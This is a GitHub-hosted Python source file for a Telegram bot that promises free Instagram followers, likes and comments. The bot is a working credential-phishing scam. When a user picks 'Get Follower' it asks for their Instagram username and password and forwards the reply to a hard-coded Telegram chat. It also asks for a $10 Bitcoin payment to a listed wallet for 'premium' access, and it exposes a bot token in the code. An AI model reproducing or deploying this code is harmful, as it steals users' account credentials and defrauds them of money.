-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathInstagramFollowerBot.py
96 lines (92 loc) · 5.63 KB
/
InstagramFollowerBot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from telegram import *
from telegram.ext import *
token = '5475410441:AAGfSzpPuvtQkbdeokPI1xuhjXiuUyHVhCQ'
bot = Bot(token)
updater = Updater(token, use_context=True)
def Follower(update: Update, context: CallbackContext):
keyboard_main = [
[InlineKeyboardButton("Get Follower", callback_data='follower'),
InlineKeyboardButton("Get Like", callback_data='like'),
InlineKeyboardButton("Get Comment", callback_data='camment')
],
[InlineKeyboardButton("Help", callback_data='help'),
InlineKeyboardButton("About", callback_data='about')
]
]
reply_main = InlineKeyboardMarkup(keyboard_main)
bot.send_message(
chat_id=update.effective_message.chat_id,
text="\U0001F5E3<b><i>Use Instagram Services for free</i></b>\n" + ' \n' + "\U00002747You can receive 100 followers, likes \n and comments with Instagram Services (us) daily\n" + ' \n' + "\U00002049You can contact us to get out of the limit\n",
parse_mode= 'html',
reply_markup=reply_main
)
def menu(update: Update, context: CallbackContext):
keyboard = [
[InlineKeyboardButton("Get Follower", callback_data='follower'),
InlineKeyboardButton("Get Like", callback_data='like'),
InlineKeyboardButton("Get Comment", callback_data='camment')
],
[InlineKeyboardButton("Help", callback_data='help'),
InlineKeyboardButton("About", callback_data='about')
]
]
reply_mark = InlineKeyboardMarkup(keyboard)
bot.send_message(
chat_id=update.effective_message.chat_id,
text="\U0001F5E3<b><i>Use Instagram Services for free</i></b>\n" + ' \n' + "\U00002747You can receive 100 followers, likes \n and comments with Instagram Services (us) daily\n" + ' \n' + "\U00002049You can contact us to get out of the limit\n",
parse_mode= 'html',
reply_markup=reply_mark
)
def page(update: Update, context: CallbackContext):
bot.forward_message(
chat_id='425002947',
from_chat_id=update.effective_message.chat_id,
message_id=update.effective_message.message_id
)
def query(update: Update, context: CallbackContext):
keyboard = [
[InlineKeyboardButton("Back to Menu", callback_data='menu')]
]
reply = InlineKeyboardMarkup(keyboard)
keyboard_main = [
[InlineKeyboardButton("Get Follower", callback_data='follower'),
InlineKeyboardButton("Get Like", callback_data='like'),
InlineKeyboardButton("Get Comment", callback_data='camment')
],
[InlineKeyboardButton("Help", callback_data='help'),
InlineKeyboardButton("About", callback_data='about')
]
]
reply_main = InlineKeyboardMarkup(keyboard_main)
query : CallbackQuery = update.callback_query
if query.data == 'follower':
bot.edit_message_text(
text="\U000025B6 Send your username and Password of instagram\n" + " \n" + "\U00002705 Example => services:123456\n",
chat_id=update.effective_message.chat_id,
message_id=update.effective_message.message_id,
reply_markup=reply
)
updater.dispatcher.add_handler(MessageHandler(Filters.text, page))
elif query.data == 'menu':
bot.edit_message_text(chat_id=update.effective_message.chat_id,
text="\U0001F5E3<b><i>Use Instagram Services for free</i></b>\n" + ' \n' + "\U00002747You can receive 100 followers, likes \n and comments with Instagram Services (us) daily\n" + ' \n' + "\U00002049You can contact us to get out of the limit\n",
message_id=update.effective_message.message_id,
parse_mode= 'html',
reply_markup=reply_main
)
elif query.data == 'like':
bot.answer_callback_query(callback_query_id=update.callback_query.id, text="Sorry, You are not a special user\U0001F61E", show_alert=True)
elif query.data == 'camment':
bot.answer_callback_query(callback_query_id=update.callback_query.id, text="Sorry, You are not a special user\U0001F61E", show_alert=True)
elif query.data == 'help':
bot.edit_message_text(chat_id=update.effective_message.chat_id,
text="If you want to be a premium user, send 10$ to our Wallet:\n" + " \n" + "BTC:39cbZCBZ3DodMLwaN9488aPahzhNmacfi7\n" + " \n" + "\U0001F60A\U0001F60A\U0001F60A",
message_id=update.effective_message.message_id,
reply_markup=reply
)
updater.dispatcher.add_handler(MessageHandler(Filters.text, page))
elif query.data == 'about':
bot.answer_callback_query(callback_query_id=update.callback_query.id, text="Instagram Services\U0001F929", show_alert=True)
updater.dispatcher.add_handler(CommandHandler('start', Follower))
updater.dispatcher.add_handler(CallbackQueryHandler(query))
updater.start_polling()